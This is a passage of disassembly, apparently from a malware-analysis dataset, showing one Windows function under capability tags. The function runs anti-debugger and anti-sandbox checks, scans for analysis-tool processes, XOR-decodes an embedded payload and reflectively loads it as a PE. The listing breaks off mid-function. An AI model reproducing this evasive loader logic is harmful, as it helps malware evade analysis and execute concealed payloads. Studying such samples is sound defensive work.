Function at 0x140001a20
Capabilities:
Check for peb beingdebugged flag
Check os version
Get memory capacity
Get system information on windows
Inspect section memory permissions
Parse pe header
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x6e8
movdqa xmmword [rsp + 0x6d0], xmm13
movdqa xmmword [rsp + 0x6c0], xmm12
movdqa xmmword [rsp + 0x6b0], xmm11
movdqa xmmword [rsp + 0x6a0], xmm10
movdqa xmmword [rsp + 0x690], xmm9
movdqa xmmword [rsp + 0x680], xmm8
movdqa xmmword [rsp + 0x670], xmm7
movdqa xmmword [rsp + 0x660], xmm6
pxor xmm6, xmm6
movdqa xmmword [rsp + 0xa0], xmm6
movdqa xmmword [rsp + 0x90], xmm6
movdqa xmmword [rsp + 0x80], xmm6
lea rcx, [rsp + 0x80]
call sub.KERNEL32.dll_GetSystemInfo
cmp dword [rsp + 0xa0], 1
jbe 0x140002194
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x50], rax
lea rax, [0x140003e40]
mov qword [rsp + 0x58], rax
lea rax, [0x140059340]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
lea r15, [rsp + 0x50]
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], 1
lea rcx, [rsp + 0x190]
call fcn.14003db10
movdqa xmmword [rsp + 0x190], xmm6
movdqa xmmword [rsp + 0x1c0], xmm6
movdqa xmmword [rsp + 0x1b0], xmm6
movdqa xmmword [rsp + 0x1a0], xmm6
mov dword [rsp + 0x190], 0x40
lea rcx, [rsp + 0x190]
call sub.KERNEL32.dll_GlobalMemoryStatusEx
test eax, eax
je 0x140003c4b
mov eax, 0x80000000
cmp qword [rsp + 0x198], rax
jbe 0x140002194
lea rax, [rsp + 0x198]
mov qword [rsp + 0x50], rax
lea rdi, [0x140004070]
mov qword [rsp + 0x58], rdi
lea rax, str.___Found__memory_n
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x80]
call fcn.14003db10
movabs rbp, 0x101010101010101
mov qword [rsp + 0x85], rbp
mov qword [rsp + 0x80], rbp
lea rsi, [rsp + 0x190]
lea rdx, [rsp + 0x80]
mov rcx, rsi
call fcn.140045c70
mov rcx, rsi
call fcn.1400042a0
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xf8], rax
cmp rax, 0x32
jbe 0x140002194
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
lea rax, str.___Found__memory_n
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x80]
call fcn.14003db10
lea rcx, [rsp + 0x190]
call fcn.140004480
movzx eax, byte [0x1401b51a8]
mov edx, 8
xor ecx, ecx
call fcn.14003e800
test rax, rax
je 0x140003c3c
mov rdi, rax
mov dword [rax], 0x656e6164
mov byte [rax + 4], 0x74
lea rsi, [rsp + 0x190]
mov r8d, 5
mov rcx, rsi
mov rdx, rax
call fcn.1400084a0
cmp qword [rsp + 0x190], 0
jne 0x140003c8f
movzx eax, byte [0x1401b51a8]
mov edx, 5
xor ecx, ecx
call fcn.14003e800
test rax, rax
je 0x140003cba
mov rbx, rax
movzx eax, byte [rdi + 4]
mov byte [rbx + 4], al
mov eax, dword [rdi]
mov dword [rbx], eax
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rdi
call fcn.140053cc4
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], 5
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 1
mov qword [rsp + 0x78], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x280], xmm0
movdqa xmmword [rsp + 0x270], xmm0
movdqa xmmword [rsp + 0x260], xmm0
movdqa xmmword [rsp + 0x250], xmm0
movdqa xmmword [rsp + 0x240], xmm0
movdqa xmmword [rsp + 0x230], xmm0
movdqa xmmword [rsp + 0x220], xmm0
movdqa xmmword [rsp + 0x210], xmm0
movdqa xmmword [rsp + 0x200], xmm0
movdqa xmmword [rsp + 0x1f0], xmm0
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1d0], xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
mov dword [rsp + 0xf4], 0x100
movzx eax, byte [0x1401b51a8]
mov edx, 6
xor ecx, ecx
call fcn.14003e800
test rax, rax
je 0x140003cc9
mov rdi, rax
mov word [rax + 4], 0x6e69
mov dword [rax], 0x616d6f44
lea rax, [rsp + 0x130]
mov qword [rsp + 0x20], rax
lea rdx, [0x140059416]
mov rcx, 0xffffffff80000002
xor r8d, r8d
mov r9d, 0x20019
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
mov qword [rsp + 0x128], rbx
je 0x140001e63
lea rax, str.____RegOpenKeyExA_Failed_n
jmp 0x140001e9a
mov rcx, qword [rsp + 0x130]
lea rax, [rsp + 0xf4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.ADVAPI32.dll_RegQueryValueExA
test eax, eax
je 0x140002a59
lea rax, str.____RegQueryInfoKeyA_Failed_n
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [0x1401ae058]
mov qword [rsp + 0x90], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
lea rcx, [rsp + 0x80]
call fcn.14003db10
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rdi
call fcn.140053cc4
cmp qword [rsp + 0x68], 0
je 0x140001f03
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1401b5178]
xor edx, edx
call fcn.140053cc4
call sub.KERNEL32.dll_IsDebuggerPresent
test eax, eax
jne 0x140002194
lea rax, str.___No_debugger_found_with_windows::IsDebuggerPresent___n8
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 1
lea rsi, [0x1401ae058]
mov qword [rsp + 0x1a0], rsi
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x1a8], xmm6
lea rcx, [rsp + 0x190]
call fcn.14003db10
mov eax, 0x30
mov rax, qword gs:[eax]
mov rax, qword [rax + 0x60]
cmp byte [rax + 2], 1
je 0x140002194
lea rax, str.___No_debugger_found_with_ProcessEnvironmentBlock_n
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 1
mov qword [rsp + 0x1a0], rsi
movdqu xmmword [rsp + 0x1a8], xmm6
lea rcx, [rsp + 0x190]
call fcn.14003db10
movzx eax, byte [0x1401b51a8]
mov qword [rsp + 0x85], rbp
mov qword [rsp + 0x80], rbp
lea rsi, [rsp + 0x190]
lea rdx, [rsp + 0x80]
mov rcx, rsi
call fcn.140045c70
mov rcx, rsi
call fcn.1400042a0
mov rax, qword [rsp + 0x280]
test rax, rax
je 0x140002199
movabs rcx, 0x652e676264323378
mov rdx, qword [rsp + 0x268]
lea r8, [rdx + 0x10]
movdqa xmm0, xmmword [rdx]
pmovmskb ebp, xmm0
not ebp
lea r9, [0x140057070]
mov r10d, 0x2e616469
mov r11d, 0x6578652e
movabs rsi, 0x78652e3436616469
movabs rdi, 0x2e6e6f6d7376736d
movabs rbx, 0x6578652e6e6f6d73
movdqa xmm0, xmmword [str.VsDebugConsole.exe]
movdqa xmm1, xmmword [0x140057060]
jmp 0x140002080
mov r12, qword [r12 - 0x138]
mov r13, qword [r12]
xor r13, rdi
mov r12, qword [r12 + 3]
xor r12, rbx
or r12, r13
je 0x140002194
lea ebp, [r14 - 1]
and ebp, r14d
dec rax
je 0x140002199
test bp, bp
jne 0x1400020ae
nop word cs:[rax + rax]
movdqa xmm2, xmmword [r8]
pmovmskb ebp, xmm2
add rdx, 0xffffffffffffea80
add r8, 0x10
cmp ebp, 0xffff
je 0x140002090
not ebp
mov r14d, ebp
tzcnt r12d, r14d
neg r12
imul r12, r12, 0x158
mov r13, qword [rdx + r12 - 0x130]
add r13, 0xfffffffffffffff9
cmp r13, 0xb
ja case.0x1400020dc.8
add r12, rdx
movsxd r13, dword [r9 + r13*4]
add r13, r9
jmp r13
mov r12, qword [r12 - 0x138]
mov ebp, dword [r12]
xor ebp, r10d
mov r12d, dword [r12 + 3]
xor r12d, r11d
or r12d, ebp
jne case.0x1400020dc.8
jmp 0x140002194
mov r12, qword [r12 - 0x138]
mov r13, qword [r12]
xor r13, rsi
movzx r12d, byte [r12 + 8]
xor r12, 0x65
jmp 0x140002067
mov r12, qword [r12 - 0x138]
lea r13, [rcx + 0x20300]
xor r13, qword [r12]
movzx ebp, word [r12 + 8]
xor rbp, 0x6578
or rbp, r13
je 0x140002194
mov r13, qword [r12]
xor r13, rcx
movzx r12d, word [r12 + 8]
xor r12, 0x6578
jmp 0x140002067
mov r12, qword [r12 - 0x138]
movdqu xmm2, xmmword [r12]
pcmpeqb xmm2, xmm0
movzx ebp, word [r12 + 0x10]
movd xmm3, ebp
pcmpeqb xmm3, xmm1
pand xmm3, xmm2
pmovmskb ebp, xmm3
cmp ebp, 0xffff
jne case.0x1400020dc.8
call fcn.14003e720
lea rax, [0x140059630]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rdi, [0x1401ae058]
mov qword [rsp + 0x90], rdi
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
lea rcx, [rsp + 0x80]
call fcn.14003db10
lea rcx, [rsp + 0x190]
call fcn.140004480
lea rsi, [rsp + 0x190]
mov r8d, 0x4d0
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rsp + 0x1c0], 0x100010
call sub.KERNEL32.dll_GetCurrentThread
mov rcx, rax
mov rdx, rsi
call sub.KERNEL32.dll_GetThreadContext
test eax, eax
jne 0x1400022bf
call sub.KERNEL32.dll_GetLastError
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
mov qword [rsp + 0xf8], 0
mov dword [rsp + 0x100], ecx
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x50], rax
lea rax, [0x1400538b0]
mov qword [rsp + 0x58], rax
lea rax, str.____GetThreadContext_Failed_With_Error:
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x80]
call fcn.14003db10
mov rcx, qword [rsp + 0xf8]
test rcx, rcx
je 0x1400022bf
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rsp + 0x1d8], 0
jne 0x140002194
cmp qword [rsp + 0x1e0], 0
jne 0x140002194
cmp qword [rsp + 0x1e8], 0
jne 0x140002194
cmp qword [rsp + 0x1f0], 0
jne 0x140002194
lea rax, str.___No_debugger_found_from_breakpoint_hardware_n
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0x90], rdi
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
lea rcx, [rsp + 0x80]
call fcn.14003db10
movzx eax, byte [0x1401b51a8]
mov edx, 8
xor ecx, ecx
call fcn.14003e800
test rax, rax
je 0x140003c3c
mov byte [rax], 0x4c
mov qword [rsp + 0x190], 8
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x1a0], 1
mov r12d, 1
mov edi, 2
lea rbx, str.W1_nYP
lea r14, [0x140059798]
xor r15d, r15d
lea rsi, [rsp + 0x190]
jmp 0x1400023b6
mov byte [rax + rdi - 1], bpl
mov qword [rsp + 0x1a0], rdi
inc rdi
cmp rdi, 0x2f
je 0x1400023f3
mov rcx, r12
lea rdx, [rdi - 1]
inc r12
cmp rcx, 0x3f
cmovae r12, r15
movzx ebp, byte [rdi + rbx - 1]
xor bpl, byte [rcx + r14]
cmp rdx, qword [rsp + 0x190]
jne 0x1400023a0
mov r8d, 1
mov rcx, rsi
call fcn.140053460
mov rax, qword [rsp + 0x198]
jmp 0x1400023a0
mov rdi, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
lea rcx, [rsp + 0x190]
mov ebx, 0x2e
mov r8d, 0x2e
mov rdx, rsi
call fcn.1400084a0
cmp qword [rsp + 0x190], 0
je 0x14000245f
movdqu xmm0, xmmword [rsp + 0x198]
movabs rax, 0x8000000000000000
cmp rdi, rax
jne 0x140003cec
movq rbx, xmm0
test rbx, rbx
je 0x1400024a1
js 0x140003ce7
mov esi, 0x2e
mov edi, 1
movzx eax, byte [0x1401b51a8]
xor ecx, ecx
mov rdx, rbx
call fcn.14003e800
test rax, rax
je 0x140002abf
mov qword [rsp + 0x120], rax
mov rcx, rax
mov rdx, rsi
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0xe8], 0
test rdi, rdi
jne 0x1400024be
jmp 0x1400024cf
mov al, 1
mov dword [rsp + 0xe8], eax
mov esi, 0x2e
mov eax, 1
mov qword [rsp + 0x120], rax
xor ebx, ebx
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rsi
call fcn.140053cc4
lea rax, str.xoraikido.encsrc_lib.rs
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 3
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x20], 1
lea rdx, [0x1400596f9]
lea r9, [0x1400597f0]
lea rsi, [rsp + 0x190]
mov r15d, 0xa
mov r8d, 0xa
mov rcx, rsi
call fcn.14000a570
lea rcx, [rsp + 0x80]
mov rdx, rsi
call fcn.140004de0
cmp qword [rsp + 0x80], 0
je 0x140002637
mov edi, 1
xor esi, esi
lea r14, [rsp + 0x190]
xor r13d, r13d
jmp 0x14000259e
mov byte [rdi + rsi], 0x2f
inc rsi
mov qword [rsp + 0x60], rsi
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140004de0
cmp qword [rsp + 0x80], 0
mov r13, rbp
je 0x14000262a
mov r12, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x90]
sub r12, r13
mov r15, qword [rsp + 0x50]
mov rax, r15
sub rax, rsi
cmp rax, r12
jb 0x140002609
lea rax, [0x1400596f9]
add r13, rax
lea rcx, [rdi + rsi]
mov rdx, r13
mov r8, r12
call sub.msvcrt.dll_memcpy
add rsi, r12
mov qword [rsp + 0x60], rsi
cmp r15, rsi
jne 0x140002570
mov r8d, 1
lea rcx, [rsp + 0x50]
mov rdx, r15
call fcn.140053460
mov rdi, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
jmp 0x140002570
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r8, r12
call fcn.140053460
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
jmp 0x1400025c1
mov r14, qword [rsp + 0x50]
mov r15d, 0xa
jmp 0x14000263e
xor r14d, r14d
xor esi, esi
xor ebp, ebp
sub r15, rbp
mov rax, r14
sub rax, rsi
cmp rax, r15
jb 0x140003476
lea r12, [0x1400596f9]
add rbp, r12
mov rdi, qword [rsp + 0x58]
lea rcx, [rdi + rsi]
mov rdx, rbp
mov r8, r15
call sub.msvcrt.dll_memcpy
add rsi, r15
mov r15, rsi
sub r15, 0xa
mov r8d, 0xa
cmovb r8, rsi
neg r15
mov rcx, r12
mov rdx, rdi
call sub.msvcrt.dll_memcmp
cdqe
test eax, eax
cmovne r15, rax
xor eax, eax
test r15, r15
setle cl
je 0x1400026b2
mov rdx, r15
shr rdx, 0x3f
mov al, cl
cmp rdx, rax
jae 0x1400026b2
jmp 0x1400026b0
test r14, r14
je 0x1400026c8
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rdi
call fcn.140053cc4
test r15, r15
jne 0x140003d3d
movzx eax, byte [0x1401b51a8]
mov edx, 0x14ae00
xor ecx, ecx
call fcn.14003e800
test rax, rax
je 0x140003cd8
mov rdi, rax
lea rdx, [0x1400597f1]
mov r8d, 0x14ae00
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov esi, 1
mov r12d, 1
cmp byte [rsp + 0xe8], 0
jne 0x140002767
movzx eax, byte [0x1401b51a8]
xor ecx, ecx
mov rdx, rbx
call fcn.14003e800
test rax, rax
je 0x140002abf
mov rsi, rax
mov rcx, rax
mov rdx, qword [rsp + 0x120]
mov r8, rbx
call sub.msvcrt.dll_memcpy
movzx eax, byte [0x1401b51a8]
xor ecx, ecx
mov rdx, rbx
call fcn.14003e800
mov r12, rax
test rax, rax
je 0x140002abf
mov qword [rsp + 0x38], rdi
mov rcx, r12
mov rdx, rsi
mov r8, rbx
call sub.msvcrt.dll_memcpy
movzx eax, byte [0x1401b51a8]
mov edx, 0x14ae00
xor ecx, ecx
call fcn.14003e800
test rax, rax
je 0x140003cd8
mov qword [rsp + 0x190], 0x14ae00
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x1a0], 0
lea r14, [r12 + rbx]
xor r13d, r13d
lea rdi, [rsp + 0x190]
mov r15, r12
jmp 0x1400027eb
inc r15
mov byte [rax + r13], bpl
inc r13
mov qword [rsp + 0x1a0], r13
cmp r13, 0x14ae00
je 0x140002843
cmp r15, r14
je 0x140002800
movzx ebp, byte [r15]
cmp r13, qword [rsp + 0x190]
jne 0x1400027d0
jmp 0x140002826
cmp r13, 0x14adff
ja 0x140002849
nop dword [rax]
test rbx, rbx
je 0x140002810
mov r15, r12
movzx ebp, byte [r15]
cmp r13, qword [rsp + 0x190]
jne 0x1400027d0
mov rcx, rdi
mov rdx, r13
call fcn.140053510
mov rax, qword [rsp + 0x198]
mov r13, qword [rsp + 0x1a0]
jmp 0x1400027d0
mov r13d, 0x14ae00
mov rdi, qword [rsp + 0x190]
mov rbp, qword [rsp + 0x198]
cmp byte [rsp + 0xe8], 0
jne 0x140002885
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, r12
call fcn.140053cc4
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rsi
call fcn.140053cc4
test r13, r13
js 0x140003ce7
mov qword [rsp + 0x48], rdi
movzx eax, byte [0x1401b51a8]
xor ecx, ecx
mov rdx, r13
call fcn.14003e800
test rax, rax
je 0x140003d49
mov rcx, rax
mov qword [rsp + 0x190], r13
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x1a0], 0
xor r12d, r12d
movabs r14, 0x6308cd08387b04ef
lea rsi, [rsp + 0x190]
mov r15, qword [rsp + 0x38]
xor edi, edi
jmp 0x14000290a
inc rdi
mov byte [rcx + r12], bl
inc r12
mov qword [rsp + 0x1a0], r12
inc r15
cmp r13, rdi
je 0x14000294b
mov rax, rdi
mul r14
shr rdx, 0x13
imul rax, rdx, 0xffffffffffeb5200
movzx ebx, byte [r15 + rax]
xor bl, byte [rbp + rdi]
cmp r12, qword [rsp + 0x190]
jne 0x1400028f0
mov rcx, rsi
mov rdx, r12
call fcn.140053510
mov rcx, qword [rsp + 0x198]
mov r12, qword [rsp + 0x1a0]
jmp 0x1400028f0
mov r15, qword [rsp + 0x190]
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x48], 0
je 0x14000297c
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rbp
call fcn.140053cc4
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, qword [rsp + 0x38]
call fcn.140053cc4
lea rax, str.____Sleeping_3s_n_
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 1
lea rax, [0x1401ae058]
mov qword [rsp + 0x1a0], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x1a8], xmm0
lea rcx, [rsp + 0x190]
call fcn.14003db10
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.KERNEL32.dll_CreateWaitableTimerExW
test rax, rax
mov r14, qword [rsp + 0x110]
je 0x140002ad4
mov rsi, rax
mov qword [rsp + 0x190], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x190]
mov rcx, rax
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_SetWaitableTimer
test eax, eax
je 0x140002acc
mov rcx, rsi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov edi, eax
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
cmp edi, 0xffffffff
jne 0x140002ade
jmp 0x140002ad4
mov r8d, dword [rsp + 0xf4]
cmp r8, 0x101
jae 0x140003e23
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x190]
call fcn.1400061c0
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test rbx, rbx
je 0x140003495
js 0x140003ce7
movzx eax, byte [0x1401b51a8]
xor ecx, ecx
mov rdx, rbx
call fcn.14003e800
mov r14, rax
test rax, rax
jne 0x14000349b
mov ecx, 1
mov rdx, rbx
call fcn.140005ca0
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov ecx, 0xbb8
call sub.KERNEL32.dll_Sleep
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x80], rax
lea rax, [0x140005000]
mov qword [rsp + 0x88], rax
lea rax, str.____Decoded_with__n
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], 2
mov qword [rsp + 0x1b0], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
lea rcx, [rsp + 0x190]
call fcn.14003db10
movzx eax, word [r14]
cmp eax, 0x5a4d
jne 0x140003d56
movsxd rbp, dword [r14 + 0x3c]
test rbp, rbp
je 0x140003d62
cmp ebp, 0x40
jb 0x140003d71
cmp r12, rbp
jb 0x140003d85
movzx eax, word [rbp + r14 + 0x18]
cmp eax, 0x20b
je 0x140002bd8
cmp eax, 0x10b
jne 0x140003e0d
cmp dword [r14 + rbp], 0x4550
jne 0x140003d97
lea r13, [r14 + rbp]
movzx eax, word [r13 + 4]
cmp eax, 0x14c
jne 0x140003da6
test byte [r13 + 0x16], 2
je 0x140003db5
add rbp, 0xf8
cmp rbp, r12
ja 0x140003dc4
lea rcx, [r13 + 4]
xor eax, eax
jmp 0x140002c1e
cmp dword [r14 + rbp], 0x4550
jne 0x140003d97
lea r13, [r14 + rbp]
movzx eax, word [r13 + 4]
cmp eax, 0x8664
jne 0x140003da6
test byte [r13 + 0x16], 2
je 0x140003db5
add rbp, 0x108
cmp rbp, r12
ja 0x140003dc4
lea rcx, [r13 + 4]
mov eax, 1
sub r12, rbp
movzx edi, word [rcx + 2]
lea rcx, [rdi*8]
lea rcx, [rcx + rcx*4]
cmp rcx, r12
ja 0x140003dd6
xor esi, esi
test rax, rax
je 0x140003de5
test byte [r13 + 0x17], 0x20
jne 0x140003def
cmp dword [r13 + 0xfc], 0
je 0x140002c68
cmp dword [r13 + 0xf8], 0
jne 0x140003e03
mov r12d, dword [r13 + 0x28]
test r12, r12
je 0x140003df9
mov rax, qword [r13 + 0x30]
mov qword [rsp + 0x68], rax
mov eax, dword [r13 + 0x50]
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x160]
call fcn.14000da70
cmp eax, 0xb
je 0x140002cc5
mov qword [rsp + 0x68], 0
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x160]
call fcn.14000da70
cmp eax, 0xb
jne 0x140003e1c
movzx eax, dil
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x158], rdi
test rdi, rdi
je 0x140002d32
lea rsi, [r14 + rbp]
add rsi, 0x14
mov rax, qword [rsp + 0x158]
shr eax, 8
lea rax, [rax + rax*4]
shl rax, 0xb
mov rcx, qword [rsp + 0x148]
lea rcx, [rcx + rcx*4]
lea rdi, [rax + rcx*8]
xor ebx, ebx
nop dword [rax + rax]
mov edx, dword [rsi + rbx]
add rdx, r14
mov ecx, dword [rsi + rbx - 8]
mov r8d, dword [rsi + rbx - 4]
add rcx, qword [rsp + 0x68]
call sub.msvcrt.dll_memcpy
add rbx, 0x28
cmp rdi, rbx
jne 0x140002d10
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
sub rax, qword [r13 + 0x30]
mov qword [rsp + 0x140], r15
mov qword [rsp + 0x138], r12
mov qword [rsp + 0x178], rbp
je 0x140002e47
mov ecx, dword [r13 + 0xb0]
test rcx, rcx
je 0x140002e47
cmp dword [r13 + 0xb4], 0
je 0x140002e47
add rcx, qword [rsp + 0x40]
mov edx, 1
mov r8d, dword [rcx + 4]
test r8, r8
jne 0x140002db3
jmp 0x140002e34
xor r8d, r8d
add rcx, r8
mov r8d, dword [rcx + 4]
test r8, r8
je 0x140002e34
cmp r8d, 0xa
jb 0x140002e24
lea r9, [r8 - 8]
shr r9, 0x3f
add r8, r9
add r8, 0xfffffffffffffff8
sar r8, 1
cmp r8, 2
cmovl r8, rdx
xor r9d, r9d
jmp 0x140002de8
inc r9
cmp r8, r9
je 0x140002e20
movzx r10d, word [rcx + r9*2 + 8]
mov r11d, r10d
and r11d, 0xf000
cmp r11d, 0xa000
jne 0x140002de0
mov r11d, dword [rcx]
and r10d, 0xfff
add r10, r11
mov r11, qword [rsp + 0x40]
add qword [r11 + r10], rax
jmp 0x140002de0
mov r8d, dword [rcx + 4]
add rcx, r8
mov r8d, dword [rcx + 4]
test r8, r8
jne 0x140002db3
cmp dword [rcx], 0
jne 0x140002da0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x150], r13
cmp dword [r13 + 0x94], 0
je 0x1400030d4
mov rax, qword [rsp + 0x150]
mov r14d, dword [rax + 0x90]
test r14, r14
je 0x1400030d4
mov rax, qword [rsp + 0x40]
add r14, rax
add rax, 2
mov qword [rsp + 0x48], rax
jmp 0x140002ead
mov rax, rbx
mov rsi, rbp
mov r14, qword [rsp + 0x118]
add r14, 0x14
mov rbx, rax
mov rbp, rsi
mov rsi, qword [rsp + 0x38]
mov edi, dword [r14 + 0xc]
test rdi, rdi
jne 0x140002ee0
cmp dword [r14 + 0x10], 0
jne 0x140002ee0
cmp dword [r14], 0
jne 0x140002ee0
cmp dword [r14 + 4], 0
jne 0x140002ee0
cmp dword [r14 + 8], 0
je 0x1400030d4
nop word cs:[rax + rax]
add rdi, qword [rsp + 0x40]
mov rcx, rdi
call sub.msvcrt.dll_strlen
lea r15, [rsp + 0x190]
mov rcx, r15
mov rdx, rdi
mov r8, rax
call fcn.1400084a0
cmp qword [rsp + 0x190], 0
mov eax, 5
jne 0x140003b5a
mov rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, r15
call fcn.140005e00
mov rax, qword [rsp + 0x190]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x140003b3b
mov rdi, qword [rsp + 0x198]
mov r15, qword [rsp + 0x1a0]
mov rcx, rdi
call sub.KERNEL32.dll_LoadLibraryA
mov r12, rax
test rax, rax
cmove rax, rsi
mov qword [rsp + 0x38], rax
mov byte [rdi], 0
test r15, r15
je 0x140002f8a
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rdi
call fcn.140053cc4
test r12, r12
je 0x140003b5c
mov eax, dword [r14]
mov qword [rsp + 0x118], r14
mov r12d, dword [r14 + 0x10]
mov rcx, qword [rsp + 0x40]
add r12, rcx
lea r13, [rcx + rax]
test rax, rax
cmove r13, r12
mov rdi, qword [r13]
test rdi, rdi
je 0x140002e90
xor r15d, r15d
jmp 0x140003008
movzx edx, di
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_GetProcAddress
mov rsi, rbp
mov rcx, rax
test rax, rax
je 0x140003b31
mov qword [r12 + r15], rcx
mov rdi, qword [r13 + r15 + 8]
add r15, 8
mov rbp, rsi
mov rbx, rax
test rdi, rdi
je 0x140002e96
test rdi, rdi
js 0x140002fd0
mov rax, qword [rsp + 0x48]
cmp byte [rax + rdi], 0
je 0x140002e90
add rdi, rax
mov rcx, rdi
call sub.msvcrt.dll_strlen
lea rsi, [rsp + 0x190]
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400084a0
cmp qword [rsp + 0x190], 0
jne 0x140003786
mov rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, rsi
call fcn.140005e00
mov rax, qword [rsp + 0x190]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x140003761
mov rdi, qword [rsp + 0x198]
mov r14, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x38]
mov rdx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov rsi, rax
mov byte [rdi], 0
test r14, r14
je 0x1400030b8
mov rcx, qword [0x1401b5178]
xor edx, edx
mov r8, rdi
call fcn.140053cc4
mov rax, rbx
mov rcx, rsi
test rsi, rsi
jne 0x140002fec
mov eax, 2
mov rsi, rbp
jmp 0x140003b61
mov rdx, qword [rsp + 0x158]
test rdx, rdx
lea rdi, [rsp + 0x190]
je 0x140003332
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x178]
lea rbx, [rcx + rax]
add rbx, 0xc
shr edx, 8
lea rax, [rdx + rdx*4]
shl rax, 0xb
mov rcx, qword [rsp + 0x148]
lea rcx, [rcx + rcx*4]
lea r15, [rax + rcx*8]
xor r13d, r13d
lea r14, [rsp + 0x80]
lea rbp, [rsp + 0x50]
